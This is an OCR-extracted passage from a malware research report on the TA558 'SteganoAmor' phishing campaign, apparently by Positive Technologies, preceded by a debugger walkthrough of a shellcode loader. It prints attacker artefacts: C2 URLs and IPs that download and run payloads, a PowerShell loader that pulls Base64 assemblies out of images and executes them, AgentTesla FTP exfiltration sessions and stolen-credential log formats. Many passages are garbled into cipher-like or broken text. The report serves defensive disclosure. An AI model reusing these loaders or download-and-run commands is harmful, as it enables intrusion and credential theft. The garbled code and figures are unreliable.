


After receiving the URL, the HttpOpenRequestA
function is called to create a request handle. Finally, the
HttpSendRequestA function is called, which directly sends
a GET request to the URL.

In order to avoid enabling Internet connectivity on
the virtual machine or calling the hackers on their C2, and
to make sure that the shell runs correctly without patching,
B exXzZ\fgXeXW g[X <y ba _bVT_ [bfg \a g[X [bfgf T_X TaW fcha
up a simple web server on Python. It should also be noted
that the request is made over HTTPS, and our server must
fhccbeg g[\f Mb Wb g[\f jX ZXaXeTgX T VXeg\lVTgX

openssl. exe req -new -x589 -keyout server.pem -out server.pem -days 365 -nodes

Web server code:

rom http.server import HTTPServer, SimpleHTTPRequestHandler

import ssl

n_u1'un_-:'_.qd.|:'9',q B 1 f 443

httpd HTTPServer . server address ":\.]n[J-_--I"lf"-'i._-l].---_.‘-_l-.-.rln.!'j-_-."

httpd. socket = ssl wrap_socket(httpd. socket, certfiles server_side=True
print

httpd. serve_forever

We call the VirtualAlloc YhaVgl\ba Bg T__bVTgXf T UhiXe
for the next stage, which will be received from the C2 later.
VirtualAlloc eXgheatf gl[ X TWWeXTfFf by gl X T__bVTgXW UhilXe
\a K:Q Bg \f eXVb "XaWXW gb \""XW\TgX_I e\Z[g!V_\V~ \g TaWw
select «Follow in Dump» to monitor its contents.

We see a call to the InternetReadFile function, which
is intended to fetch the next stage from the server and
c_TVX \g \agh T WXf\ZzaTgXW UhiXe LlaVX g[X fgTZX \gfX_Y \a g[\f
XkT c_X \f ceX_bTWXW Thand ifiXoiechges, T X &
XaWf hc \a g[X B> VTV[X from where it can be retrieved),
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we simply place it on the web server with the same name.
As an alternative, we can load it directly into the buffer
manually, but we may encounter problems in the shellcode
logic we will have to deal with later. We execute the function,
and we see that the buffer is successfully loaded with the
contents of the payload file: Next is code for decrypting data
in the buffer, and an entry point address generated to which
control will be transferred:

Figure 12. Decryption of the
buffered data

41:FFD6 g

] (I i 012FB 85c0 test eax,eax
« 75 OF ine cob_shelTx6d_dump_64. 401204
= 44:880F mov r9d, dword ptr ds: [rdi]
41:8A FBFD535F0| mov rl0Od,FOS5FDFS
4C: BD5F 04 lea rll,gword ptr ds: [rdisd]
B5FG test esi,esd
- 78 36 is cob shellx64 dumo 64.401346

ininet.InternetReadrile>

D00000004012F8 cob_shel1x64_dump_64. exe: S12F8 #12F8

1 HOurp? @Y0wrp3 ENDumod  WEOumpS B watchl | pellock Y Stua

& | Hex ASCII |
0000470000 E4 49 BA CB [EB 6E F/ JA B0 2D 5F OL FE CF CC A/ alten+* —_.pIi§
000047001003 9 8D FB (6D EF D3 37 |09 58 82 54 |2C 32 1B 6E|.E.0m707.X.T,2.n
000047002006 44 34 22 BB 47 F7 5E (42 58 DE 1D |FO 45 20 6F . 14" G+AB[P.BE-o|
0000470030/B4 40 82 9 [EC 45 AF D7 (38 48 FA 85 F3 aC 05 12| '4..7E =8Ri.6..
0000470040/ 73 EF 95 3B |83 6D 95 1F (B4 45 76 C4 8B 25 3F 1F|si.;.m.. EvA.%7.
0000470050/ B0 F8 A7 2a /63 1D 90 D9 |84 87 33 ca ic BD EB A3|"08%c. .0 .3E<.&f
0000470060/ 0E 67 DD BT (44 81 AF 2D|7D 5C AB B3 (0A F1 47 F6|.g¥-D. -}\«®.NGE
0000470070/00 F6 84 OC (1F 6C 60 61|3F 17 24 Oa|C7 BB 19 BF Vb...Ilma?.5.Ce.;
0000470080 CC 83 FB D9 [EQ AB 05 AA [4C F6 48 FD DL 90 4E BA|I.GDa . *LoKyN.N®
0000470000/ 27 05 75 23(95 72 06 79(p1 2F cd4 59 (A€ F7 1B B3| .ud.r.yR/AY®:,.

ANOOLTANAG AR RR 70 14 1SR Aa 4k S310a OR Em TR ISE £a 4R 871 N vile & duw
ip Trom 401

: 0000000000401 346 cob_shel1x6d_dump_64.exe: $1346 #1346 Offset to EntryPoint
pump 1 $S0ump2  GEDump3  GNDump 4 &% Dump S &8 watch 1 Il Lg » Stuct
|ress |Hex |ASCII

re: \SCIT =
00000004 70000 E4 49 BA CB 14 30 1B FL /0 46 EO &% DC GA EC 06 AI0E,O, npFe:071.
Q000000470010/16 €8 00 3F (DB 92 EQ 96 AB| 25 04] 00 00 4D 5a 90| .E.70.4. ‘3:-. Mz,

Q000000470020 00 Q3 00 00 |00 Q4 OO0 00 00 0000 88 00 00f......... Wio, .
0000000470030/ 00 Q0 00 00 |00 40 00 00 |00 00 00 00 |00 00 00 00).. ... L
00000004 7004000 00 00 00 |00 OO0 OO0 OO0 |00 00 00 OO0 |00 00 00 00 . ... .. ...
00000004 70050 00 00 00 00 00 00 00 00 00 ed 00 00 |00 OE 1F BA a 2
Q0000004700600 00 B4 09 CD 21 88 01 4C €D 21 54 |68 69 73 20/}.  .1!, .LIlThis

0000000470070(70 72 6F 67 |72 61 60 20|63 61 6 GF |6F 74 20 62 program cannot b
0000000470080 65 20 72 75 |6 20 69 G |20 44 4F 53 120 6D 6F 64|k run in DOS mod
0O00000470090/65 26 00 QD (0A 24 00 00|00 00 00 0000 87 D4 74 &5 ......0¢
000000047 00a0(A6 €3 B5 la|F5 €3 BS 1A F5 €3 B5 1a/F5 02 c0 1F| jAp.GAp.0Ap. 5. A,
0000000470080 F4 CF B5 1A F5 98 DD 18 |F4 €8 B5 1a F5 €3 B85 1B|0Iu.&.Y.o5Ep.0Ap.

The entry point address is generated in the RCX register
by adding a hardcoded offset to the address of the buffer
with decrypted data, after which it is called using the call
rex instruction.

At this stage, we can already dump the decrypted
PE by right-clicking and selecting Follow in Memory Map, and
dumping the appropriate memory segment into a file there.

We can verify the integrity of the received PE file using
a tool like PEStudio or any other PE file viewer. Specifically,
we focus on the accuracy of the data within the import
and export tables.



3.3. Decrypting the payload

The decryption algorithm looks like this:

By axFR55FDFR
counter unsigned __intbd) (unsigned int)(v20 + 4 2
-
result first_chunk data_pointer - key
vall_ror data_pointer 3
first chunk insigned int - | first_chunk data_pointer & 7} + 1
data pointerss result
key ROR4 key, vall ror + 1
counter
while counter

A key is hardcoded into the code. The first 8 bytes from
the buffer are used as an initialization vector, so the data starts
decrypting from the second 8-byte value.

| also continued experimenting with writing a decryptor
in Go, and a working version looks like this @.

However, this method needs an XOR key to decrypt the
data, and this key includes information from the previous step.
What if we only have the encrypted payload that we extracted,
say, from the IE cache, but no loader code itself? In that case,
| could think of nothing better than just trying to brute-force
the 8-byte key used in the encryption algorithm**** Multi-
threaded key brute-forcerin Go @ .

Start:

payload decrypt auto.exe enc.bin dec.bin

As a verification value, the code will search for the
string. This program cannot be run in DOS mode within the
decrypted data.

The program'’s output is a decrypted DLL and the
resulting XOR key. The program has successfully decrypted
all available samples.

The decryption process takes an average of 1-15 minutes.



4. Investigating the loaded DLL

As we continue to debug, we dive directly into the
decrypted library in x64dbg. Simultaneously, we open the
code in the IDA and see where we end up after following
the offset. We end up directly in the exported function
ReflectiveLoader:

gward ptr
ptr -&ah
guord ptr
gword ptr 8

ptr  1@h
ptr  18h

gword ptr  28h

[rax+rbp]

. [rda+1]

[rdi+r8+d]

Since the import table refers to function addresses

from the Winlnet library, let us set breakpoints
on the following functions right away — in x64dbg
you can do  this in the  Command line:

bp FunctionName:

> InternetOpenA
> HttpOpenRequestA
> InternetReadFileA

Also VirtualAlloc and GetProcAddress, to understand
the context of what is happening.

Let us run this. First, we'll break on VirtualAlloc, which
allocates a buffer. Let us go to the buffer address in the Dump
window. Next, the code resolves the addresses of library
functions for subsequent operations.

We stop at the call to InternetOpenA, as this can serve
as an indicator of preparing to execute an HTTP request.
Consequently, the C2 should be decrypted somewhere close.

We eyeball the code for any XOR-based decryption
routines that might be extracting useful information.
We found a suitable code section:

o X




00002F40
0000ZF50
00002FED
0000ZFT0
0000ZFE0
0000ZF90
0000ZFAD
0000ZFBO
0000ZFCO
Q000ZFDO
0000ZFED
00002ZFFO
00003000
00003010
00003020
00003030
00003040
00003050
00003060
00003070
00003080
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00003080
000030C0
000030D0
000030ED
000030F0
00003100
00003110
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H in [
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74 53 T4 72 €% €E &7 00 T3 72 £€C rAgentString.url
EC 8C 00 00 50 03 52 85 €1 70 43 mon.dll..P.HeapC
) D0 51 03 42 65 €1 TO 44 65 73 rearte..(.HeapDes
E 03 43 65 €1 70 41 6C &C 6F €3 troy.MN.HeapAlloc
€l 70 52 €5 41 €C €C 6F €3 00 32 .U.HeapReAlloc.R
46 T2 &5 &5 00 28 05 53 €C €5 .HeapFree..¢.5le
7 65 74 54 €% €3 £B 43 EF 75 €E ep...GerTickCoun
7T 6% T4 43 75 T2 72 65 €E T4 30 t....GetCurrentP
3 4% 64 00 23 03 53 789 73 74 €5 rocessId.g.Systce
69 6F 6E 30 33 36 00 41 44 3¢ mPunction036.ADV

Pointers to an XOR key and encrypted data are passed
into the function:

— 0O X

push offset encrypted_c2_pointer
push 4@
push offset xor_key pointer

call ¢2_decrypt_func

Thus, data is decrypted by performing a bytewise XOR
operation on the key and the encrypted string.

We set a breakpoint at the first instruction after exiting
the decryption loop = RUN and we will see the decrypted
value of the C2 domain in the buffer.

Incidentally, if we search for the encrypted value and its
key in the raw HEX dump of the library on disk, we will find
these hardcoded after the import table:

— O X

API3Z.dll.......

éZdKXEﬁ\ISHBmhas
aP-IO) ZsMuEx[&§. (P
+YAHE"R. . 76"8gQC.

C4 A0 84 F4] .JaHHKaREYIMXE “§
B U LT IING . . b,

15 FF 48 F7 &85 DSILZ CC D
I.D-Ir - e

2A F5 FA 9

F4 E€ 36 3

E4 D5 B

00 00

00 o0

o0 00

Ll ] 00

L] 00

“xwl. lae_{.R.E.
gmeEl.<pzi.d,..VE




A close look at three different samples revealed that
the offsets of the key and encrypted bytes relative to each
other were identical in the x64 version and different in the x86
version. Based on this data, we wrote experimental Go code
for C2 decryption @.

However, this is no guarantee that it will perform
consistently well on different datasets.

We encounter a call to the GetAdaptersinfo function,
which extracts ServiceName of the network adapter.

507 06F
FFL1S F3I150000
B30

73 32

e

moV ral g rax

Cest cax,cax

jme B2ATI

EENl gword ptr os:[<&Getinjig=]

[O000000004E4010 <fGetadaprersInfo= l=<iphlpapi . GetAdaptersInfos

2ALT7

P2 WOumpd Wbepd WDemes @ Wauhl  I-lloal

| Hex

ASC]I
00 00 7B 3 fﬁEI‘

20 34 !.:F 38 38 Ip D259E E.?].D-d-_m-ﬂ--
45 34 44 32 35 34| ﬂ-?ﬁﬂ mHEi‘iD?E'i
G0 00 00 00 00 00 FF.

i O O o T O o 0

00 00 00 (05
2045 3231
39 30 3042

00 00 00 00
O O i [

1CAD 00
1ce0 44
1Cc0i38

1cp0 37
Yoy Ot

U0 00 00 (D0
3238 3945
3742 30 2o

70 00 00 |00
06 00 06 O

00
44
35
00
fitil

Next, the code calls a function that generates a massive
amount of random bytes, simultaneously XORing everything
it comes across, including the ServiceName. This, in turn,
could likely be used as a unique system identifier on the C2.

The following string will be generated as a result
of these operations:

B GE0ump4  @oumpS B wetchl  Iellocak i Stuct

= ——— S— |ASCII |
0 QO[O0 00 O0 OO[00 O0 GO QOO0 OO DO OO . ... ... o .eee....
0 00|00 00 OO QO (00 OO0 00 Q0|00 00 0D 0Q
1 626D 6C 72 73|74 75 78 7A |67 61 71 64|.sabmlrstuxzgagh
4 69|68 70 GF 71 (7A 76 7A BA |69 78 75 6g|widihpogzvzjixum
2 64(62 73 66 7416A 62 71 6A |75 70 75 b yl:l}d!nl’tthjupud
D 6F (79 7A 64 66 /69 6B 73 0047 FD 7F 0f|yomoyzdfiks.Gy.
B 01 (00 00D 00 Q0|00 O0 O0 FL |47 FD 7F Q07 ®......... liGy .
9 48|00 00 00 QO |00 00 OO0 QO |00 DO OO 0O 2IK phacih
0 48 |00 00 00 00|00 45 00 4A |00 00 Q0 00|. . QK. . E.J
4 5F |49 FD 7F 00|00 00 OO0 Q0|00 00 OO0 00 .8, _Iv.....c....
0 48 [00 00 00 Q0|00 6A 15 4800 00 00 00|...K..... j.K.




What follows is functions for crafting and transmitting
an HTTP request to the C2:

L% ] all 268 Fi az i L&
LPCSTR nsipgmed int6d)v2T & ~int64
ad
oL
dwFlags
i
T all 2
;| 1Fu B JBu
15, Bxl i
if (34 iRequestA(vlS, String lplptional, w12
1 o 2000005 RBuffer, Bvis
i 15, o0 u, LdwBufferLength
i 15 Dxaihi, Sdwliu
vis
allz

dwiptionallength

The code will re-download the payload from the C2
using InternetReadFile, decrypt it, and then run it.

In this way, by starting our analysis from the
PowerShell script in the logs, we successfully extracted
and decrypted the loader, the payload itself, analyzed the
implementation of the malware components, extracted
the relevant indicators of compromise, and wrote a couple
of useful utilities for decrypting the code at different stages
of the malware activity.
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KEY FINDINGS:

> The group is targeting various countries around the
world in addition to its priority region of Latin America.

> It uses long chains that incorporate a variety of tools
and malware: AgentTesla, FormBook, Remcos, LokiBot,
Formbook, Guloader, SnakeKeylogger, XWorm, and
others.

> The group uses compromised legitimate FTP servers for
C2, and SMTP servers, for C2 and phishing.

> The group uses legitimate services to store malware
strings, and images with embedded malicious code.

Researchers from the Positive Technologies Expert
Security Center discovered more than three hundred attacks
worldwide, which they confidently attributed to the well-
known TA558 group.

As originally described by researchers at ProofPoint,
TA558 is a relatively small financially motivated cybercrime
group that has attacked hospitality and tourism organiza-
tions mainly in Latin America, but has also been identified
behind attacks on North America and Western Europe.
According to the researchers, the group has been active
since at least 2018.

In the attacks that we studied, the group made exten-
sive use of steganography by sending VBSs, PowerShell
code, as well as RTF documents with an embedded exploit,
inside images and text files. Interestingly, most of the RTF
documents and VBSs have names like greatloverstory.vbs,
easytolove.vbs, iaminlovewithsomeoneshecuteandtrulyy
oungunluckyshenotundersatnd_howmuchiloveherbutit-
sallgreatwithtrueloveriamgivingyou.doc, and others, asso-
ciated with love, which is why we dubbed the campaign
«SteganoAmory.



VICTIMS

In the course of our research, we discovered nume-
rous samples that targeted various economic sectors and
countries. Most of the email messages we came across had
been sent to Latin America, but a considerable percentage
were addressed to companies in Russia, Romania, Turkey, and
some other countries.

Some of the victims that we saw had legitimate FTP and
SMTP servers, which the threat actor infected and utilized
as C2 servers. They also used the infected SMTP servers
to send phishing email.

As our research effort continued, we found servers with
public directories in which the group placed files to be used
in its attacks.

B index of famppfemfen. X +

Index of /xampp/xnv/xn

Namie Last modilled Slee Descriptlon

o Parent Directory

iy, > 20EA-03-20 19:26 70K

Aparcloy2 A A T (Wi} OpenSSLALL 1. 1K PHEYT.3.28 Server ab 103 237.87,.56 Port 80

We also found malware logs containing stolen data
on the servers with public directories. Thus, data stolen with
the help of AgentTesla was stored in the form of HTML files
whose names conformed to the following template:

> PW_*PC_name*_*date of exfiltration*_*time of exfiltra-
tion*.html

Mpumep noroe Outlook

Mpumep noroe Firefox

Time: 03/1172024 11:52:17

User Name

Computer Name:

OSFullName: Microsoft Windows 7 Professional
CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz
RAM: 4096 MB

Time: 03-20-2024 10:41:09

User Nanve:

Computer Name

OSFullName: Microsoft Windows 10 Education
CPU: Intel{R) Atom(TM™M) CPU C3750 @ 2.20GHz
RAM: 3272845 MB

Haost:

Username

Password
Application: Outlook

Host: https: faccounts. aoogle.com
Username

Password:

Application: Firefox

Host: https:faccount.mail.r
Username

Password

Application: Firefox

Host: http://rutracker.org
Username

Password:

Application: Firefox

Host: https:ffwww.drophox.com
Username

Password:

Application: Firefox
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The files contained aggregated credentials for every
known browser, email (for example, Outlook and Thunderbird)
account credentials, and remote access (VPN or RDP)
credentials.

Mexico 45
Colombia 38
Chili 26 | | | [
Argentina 25 | | | [
Romania 2441 | | | |
Turkey 15 [ | | [ | \
Brazil 13 I | | | | | [
Peru 13 By [ | | [ | |
Russia 12 [ I I [ I I \
Ecuador 12 | | | | | | |
Uruguay 11 | [ | | [ | |
Czech Republic 9 [ | | | | | | I
India 8 N \ [ | | [ | \
Poland 3 I \ [ | | [ | \
Dominican Republic 8 | | | | | | | |
Spain 7 [ \ [ | | [ | \
Germany 7 I [ I I [ I I [
Pakistan 6 | | | | | | |
United States 3 | | | | \ | I |
Costa Rica 6 | | | I [ | I \
Guatemala 4 I [ I I [ I I [
Indonesia 4 I | I I \ I I I
Slovenia
South Korea
Bulgaria
Thailand
Sebia [l | | | | | I | | I

Lebanon [H I I | I I I | | I

NENEN BN

Macedonia |f I I | I I I | | I
Algeria [ I I [ I I \ I I [
Morocco [l | | | | | I | | I

! ! ! ! ! ! ! ! ' Figure 3. Distribution of attacks
0 5 10 15 20 25 30 35 40 45 by country

The logs included data from regular users, public institu-
tions, and various businesses.

We discovered a total of more than 320 attacks
targeting the following countries and sectors:

In the course of our research, we discovered attacks
on specific companies. The number of attacks on specific
targets differs significantly from the total number of discovered
attacks, as we could not always find out who the victim was.



Industrial sector

Service sector

Public sector

Electric power industry
Construction
Transportation companies
Sports

Information technology
Education

Religious organizations
Finance
Pharmaceutical industry

THE RESEARCH BEGINS

While monitoring threats, members of the ESC team
discovered a file named «factura 00005111, 005114, 005115.
pdf.xlam» SHA-256: 691fd7a475c64517c9c1c0282fd-
90c47597e3d4650320158cfb8c189d591db8c. Linked files
led them to an email message. The file name «banned-
20240117T134543-25672-12» suggested that the message
had reached the recipient but was blocked by security
systems. It was ostensibly sent to a Romanian company from
another Romanian company:

=it Re: Extrad de cont octombiie, r:t-l;mt-ne!l.ldﬂrmbfie 2023

Buna demeneaia

Am venfical contul dvs. @ am Constatal ¢l factunde aragase sunt incl deschise

Wi rughm si examinad aceste lacturi restante ca o nobbcare atasath ¢ $h ne fumdzal informalde dvs. de plath oAt mad curlind
poradal 7

Dacd ab premed doepa toaie plijde NoAsire, puted ignora SCesl mesaj. Incaz conya, confrmadi oplarsde de plath

Multusme-st 48 Salutan

m 5 e
L5

SAALARY - et E | S ECE
T ———
WAL | BCRJATESTE atEn [T
gt ¢ Bt | L s g Mg

Eaest [t

nmo

O BB oA Grivan sl MEaoun

W 1 attachment: factura OO




The sender's IP address, 46.27.49180, was replaced with
another. Our data indicated that the group had sent 22 other
messages from that IP address to various organizations
starting on June 15, 2023.

When the message is opened, Excel downloads with
the help of macros a file named «packedtpodododod.exe»
(SHA-256:C42288A5946D2C3EB35E7485DD85936C1FAB-
FA9EA6B12449C9136FF974A12F91) from the following URL:

> 94156.65.225/packedtpodododod.exe

An RTF file could be downloaded from the same IP
address via the following URL:

> 94156.65.225/microsoftdecidedtodesignnewpro-
ducttoupdateandupgradenewprojectthingsonthep-
candsystem.doc

This variant contains CVE-2017-11882 and downloads
the following file in the chain from the URL:

> 94156.65.225/herewegoxla.exe.

Once downloaded, the file runs. The final payload
is AgentTesla hiding behind an Excel icon, which uploads data
to the C2 via FTP. The C2 itself is a legitimate website that
has been compromised.

OTHER INFECTION CHAINS

Thanks to internal systems, we discovered dozens
of different files linked to the FTP server, which was used
as a C2 for AgentTesla. Most of the files linked to the FTP
server were used in malicious files that bore Spanish, Portu-
guese, and Romanian names.

We also used our systems to successfully discover
hundreds of different files and dozens of malicious IP addre-
sses used by the group in the campaign at hand. Some of
the files were documents with various name extensions
and targeting different countries, but sharing one infrast-
ructure and similarities between the attack chains. The files
had different names in English, Bulgarian, Croatian, Turkish,
Russian, Chinese, and other languages.

Below, you will find example of AgentTesla chain, but
also we researched examples of chains containing malware
that belongs to a variety of families: Remcos, XWorm, Loki-
Bot, Guloader, Formbook, SnakeKeylogger. We would like
to emphasize that one type of malware may be involved in
several different chains.

AgentTesla attack: the main scenario involving an Excel
document and steganography

The main scenario we saw in this campaign and which
gaveitits name is an attack chain that involves steganography.

A case in point is a file named «Cerere de cotatie.xla»
(SHA-256: 64020a7a3f5f6c589272f28d727318eb5eb4eb4dd-
41510679cb8134c0325c8fe2)



It kicks off the chain. When opened, it exploits CVE-
2017-11882, sending a request to the URL:

> qly.ai/O8XE5, a shortened link that redirects to
23.95.60.74/weareinlovewithmygirlfriendunder-
standhowitistoget__youareverybeautifilformeiloveu-
soomuchalwaysloveutrulyfromtheheartlove.doc

— 0O X

sl late
compat Lble; 7.0 Windees WT 6,00 Treident/7.0; SLOCH; NET CLE 2.0, 58703; (NET CLE 3.5.000H; MET (LA 3.0.39
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e P G0
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Wary: dccopt
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The file received with the server response (SHA-
256: 2c58cad1949aa784dceba2006162781fe7a7a5453caf-
b731ee4d512efe718c43) is an RTF document.
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When opened, it runs and downloads a VBS script from
that same IP address:

23[]95[]60[.]74/roammamamamam.vbs



— 0O X

GET frommmasssms, vin W
Az oept .
Ardept - [egoding
rer-Ageet ; P
WIre;, Medlas O
LOTER IR )
Connection: Crep

T.0; diedows 0T .15 Tridents7.0; SLOCT; AET CON 2.0.%2727; MET CLA 1.5.00779; .MIT (LR 4.9
ET4.05 )

WITPST, 1 M o

Confent-Type: tewt/vhacrlpk

(ontent- [rcoding: gelp

Lait-Modified: Hon, 11 Mar JO04 OF: F0: 25 OT
Acept- Rangen: bytes

ETag: "BOTATRIETT Idal 0"

Wary: Accept-Encoding

Server: MilcropafL-TIS1000

Date: Hom, 11 Mar JORE 08:52:17 Gl
Conlent-Lengthc S0

R A ey

A R R e R
:r.'l".'l..r.f.'(.l.r.i. =, 98,

Ty, B e e tor e, loraas),

:F.f.\-‘.:\ Lt daaun.a.ma, o0, T8,

:q.p.u.-..r.l..i.-:-. ene O forctovon e Looun.ame. ).
d*‘ ol ol hodora e, o 10,00

N AN A NN N RN RSN

Joh g a8 rE, w, 0.1.

P P T SR T TSR TR T SR TR O R T R R

st dul e laa b gl o JTORT.

The VBS script sends a request to paste[.]Jee to fetch the
next payload:

paste[]Jee/d/FZTcX
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falafoss = ©
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= 0810 T et ME T rebOgT reBpdaTretiDyTrebaBi0gTre{Dy TrebyTrerilgTregbyTrel * & pasestas & falacost & passeatis &
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B0 Tr el A0g T re el 109 Trod g TredulibgTrethdyTre™ & paiteatss & Talagoes L paiteatss & “O0ubyTremdlglredudgTrogbaTretitgTre® L patiestal
b Faladees & pasieaton & *OgfreledglromciglrebeligTreCiOaTrovoBSgTrectbaTre® & paitestas b falateet & padieatas &
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It then proceeds to downloading and decoding
an encoded malicious string (steganography) embedded
in an image from the following URLs:

> https://uploaddeimagens.com.br/images/004/753/714/
original/new_image.jpg?1709908350 @)

> https://uploaddeimagens.com.br/images/004/753/713/
original/new_image.jpg?1709908316 @

The images are the same:

L ey _image. Jpg [IPEG Imag. = +

uploaddeimagens. comubr

new_image.jpg (SHA-256: 1435aef381b7e31245¢2ca6681820
9a7f8d54daef4d0db25ef78b3a0fec3242b)

A Baseb4-encoded next-stage payload hidden inside the
downloaded image:



F2 3F 79 27 20 3A OC EC EC 06 27 D3 E9 AT 96 18 AS 62 26 4F .7y's: .+ .8.bL0
SO 01 B6 9A CA 1D 06 90 S5 90 ES 94 20 EA €6 43 5F CF 38 38 P.......U... ..E".::
03 1A 57 3A 9D G6A 43 A6 46 F2 43 BE A4 92 4F 72 4F 7C 6F €5 ..W:.jC.F.C...0r0|0.
F? AA CE 54 93 25 E2 64 57 50 03 E7 67 60 13 €2 FC 39 Al 84 T%. NP, q..,ﬂ,.

6A 24 E2 46 16 AA 7B 29 EF FO C5 3C SF 4F OC 9A 79 24 31 A9 §$.F..{)...< 0..ysl.
9147 00 74 DF FS CE CE €O FF D9 3C 3C 42 41 53 45 36 34 5F .G.l....... <<BASEGS
$3 54 4152 54 3E 3E 54 56 71 51 41 41 4D 41 41 41 41 45 41  START>>TVQUAAMAAAAEA
41 41 41 2F 2F 38 41 41 4C 67 41 41 41 41 41 41 41 41 41 51  AMA//SAALGAAARMARAAAQ
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  ARAAAAAAARAAAAAAAARA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  ARAAAAAANARAARAAARARA
41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74  AMAMAGAAMAMfugdAt
41 6E 4E 49 62 67 42 54 4D 30 68 56 47 68 70 63 79 42 77 63 AnNIbgBTMORVGhpCYBwC
6D 39 6E 63 6D 46 74 49 47 4E 63 62 6D 35 76 64 43 42 69 5A e9nceFrIGNhbaSwd(BiZ
53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5A SByOWgoWigRESTIGIVZ
47 5575 44 5130 4B dA 41 41 41 41 41 41 41 41 41 42 51 52 GUUDQOKIAAAAAAAMBOR
14141 54 41 45 44 41 48 2B SA 62 34 38 41 41 41 41 41 41 QAATAEDAM+ZDASAAAAAA
41 41 41 41 4F 41 41 49 69 41 4C 41 54 41 41 41 4A 77 72 41  AAAADAATIALATAAAIWrA
41 41 49 41 41 41 41 41 41 41 41 S5A T2 73 72 41 41 41 67 41 AATAAAAAAAATrSTAAAgA
41 41 41 77 4373 41 41 41 41 41 45 41 41 67 41 41 41 41 41  AMAWCSAAAAEAAGAAAAA
67 41 41 42 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 41  GAABAAAAAAAAAAEAAAAA
4] 41 41 41 41 41 41 4C 41 41 41 41 67 41 41 41 41 4] 4] 41 AAAMAAALAAMAGAAMAAAA
41 4D 41 51 49 55 41 41 42 41 41 41 42 41 41 41 41 41 41 45  AMAQIUAABAAABAAAAAAE
41 41 41 45 41 41 41 41 41 41 41 41 42 41 41 41 41 41 41 41 ARAEAAAAARAABAAAAAAA
41 41 4] 41 41 41 4] 41 42 53 37 48 77 42 50 41 41 4] 4] 41 AAAAAAMABSTRWEPAARAA
4D 41 72 41 41 41 46 41 41 41 41 41 41 41 41 41 41 41 41 41 MArAAAFAAAAAAAAMAAAA
41 41 41 41 41 41 41 41 41 41 41 41 4F 41 72 41 41 77 41 41  AAMAAAAAAAAADArAAMAA
4] 44 34 75 53 71 41 56 41 41 41 41 4] 41 41 41 41 41 41 41 ADduSSAVALARAANAMARA
4l 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAUUAAAAAAA

The PowerShell command inside the script:

C: \W1ndcaskSystemBE\W;ndoasPoners ell\v..'\uowershell.exe”
mand 'function DaﬁﬁloaanataF:omdzﬂks { paxam
([string[]]$links) SwebClient = New-Object System.Net.WebCli-
ent; SdownloadedData = 2(); $shuffledLinks = §$links | Get-
Random -Count Sllnks+1ength; foreach ($link in $shuf-
fledLinks) ( try { SdownloadedData += SwebClient.Download-
Data($1link) ] catch { continue } }; return SdownloadedData };
Slinks - @{ s://uploaddeimagens.com.br/im
nal/new ima »g?17099083" $imagaﬂytes = Daaqloadbata—
FromLinks Slinks if {Simageﬂytes -ne S$null) { S$imageText =
[System.Text.Encoding] : :UTFE.GetString ($imageBytes) ; §start-

FPlag = '<<BASE64 START>>'; SendFlag = '<<BASEG64 END>>'
$startIndex = SimageText.IndexOf ($startFlag) ; Sand!nd&x -
SimageText.Index0f ($endFlag) ; if (SstartIndex -ge -and

SendIndex -gt $startIndex) { $startIndex += $start-
Flag.lLength; Sbase6dLength = SendIndex - $startIndex;
Sbase6dCommand = $imageText.Substring($startIndex,
Sbase6dLength) ; $commandBytes = [System.Convert)]::From-
BasefdsString ($base6dCommand) ; $loadedAssembly = [System.Re-
‘lact*on.ass&mbly] .Loadtsccmmandﬂytes}, Stype = SloadedAs-

sembly.GatType ('] JETOAUTCHACAD.VE 'Y Smethod =
Stype.Get ethod{ } InvoketSnull, [Db]EGt[]] ("txt.aamama-
i ‘-*:J"TJH-',‘ﬂﬂﬁln?:.:-;:;h',"}}}j

Figure 11. The Baseé4-encoded
payload

Figure 12. The PowerShell code
inside the script
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Figure 13. Payload with reversed
Baseb4 code

Figure 14. Communication with the
C2 server

The script then decrypts the payload from the image
and downloads a further payload from the same URL, written
in reverse string format. Its content is notably a Base64-
encoded executable, also reversed:

> 23[]95[]60[.]74/romamammamamamaa.txt

— 0O X
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el ! Ko Al bvr

WTERL. 1 08 O
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ant-FodliLed: Fos, 10 Far 304 8710655 ONT
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Tag: “MobllelitThial 0"
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Pter Fon, 11 Fae D004 032086 O
antent-Langth: 1MI1E

AR R A A R B RS AR A R AR A AR B A B S A B A BRI

N T 0 0 B
gy D T o ) Pl ] a0 i JOLE W vl DR OGP i T e (ST ONCT Ty ie Pl Al TP ] ol 0 ST el 1T e i T o PP Vol L3 A vt Lkt
foif EMBCT I LR B [WOr | TPl F ol [ OO} F Vil EROYLA 1 § 1 e N T DL 1 M LY o P i Lo LT Vg Ty T LB 1 ] D000 AL T Do BBy 1Y D MP L T
forahs [ M-S o w9 Y g wii et 1 e AN oLl el 1 1000 00 A P Dw il T b 1 Postcolal T 1 ol el Wil Vol A THLP 1 il il T L 0 T PR T e ] Gl
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ettt et et ottt et el e R L L b L e e e ot o e il o b oot A A
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0 VU R AEIUAT P B 0 DU el € 0 o el AR, F 0 T 1 S8, R ¢ il 0 W AL OB ol | D ) g BLICHVTY O Dl (BSLA

Next, AgentTesla runs. The malware runs a check
as a bypass element to make sure that it is not running
on a hosting platform, and the victim's IP address is real.

> ip-api.com/line/?fields=hosting

AgentTesla steals data from browsers, email clients,
remote access services, and connects via FTP to a C2
to upload it.

— 0O X

i Welcome to Pure-FTPd [privsep] [TLS] ----===-=--
228-You are user number 4 of 150 allowed.

220-Local time is now 20:11. Server port: 21.

228-1Pv6 connections are also welcome on this server.

228 You will he disconnected after 15 minutes of inactivity.
USER

331 User OK. Password required
PASS

238 OK. Current restricted directory is /

OPTS utfg on

504 Unknown command

PHD

257 "f" is your current location

TYPE I

200 TYPE is now 8-bit binary

PASY

227 Entering Passive Mode (143,95,79,226,189,251)

STOR Pl 2024_062_18_02_11_11.html

158 Accepieu data connection

226-File successfully transferred

226 8.143 seconds (measured here), 5.27 Kbytes per second




THE GROUP’'S USE OF LEGITIMATE
FTP AND SMTP SERVERS

Upon closer inspection, the FTP servers we found
turned out to be legitimate services, which the threat actor
presumably had infected to use as C2s for exfiltration of
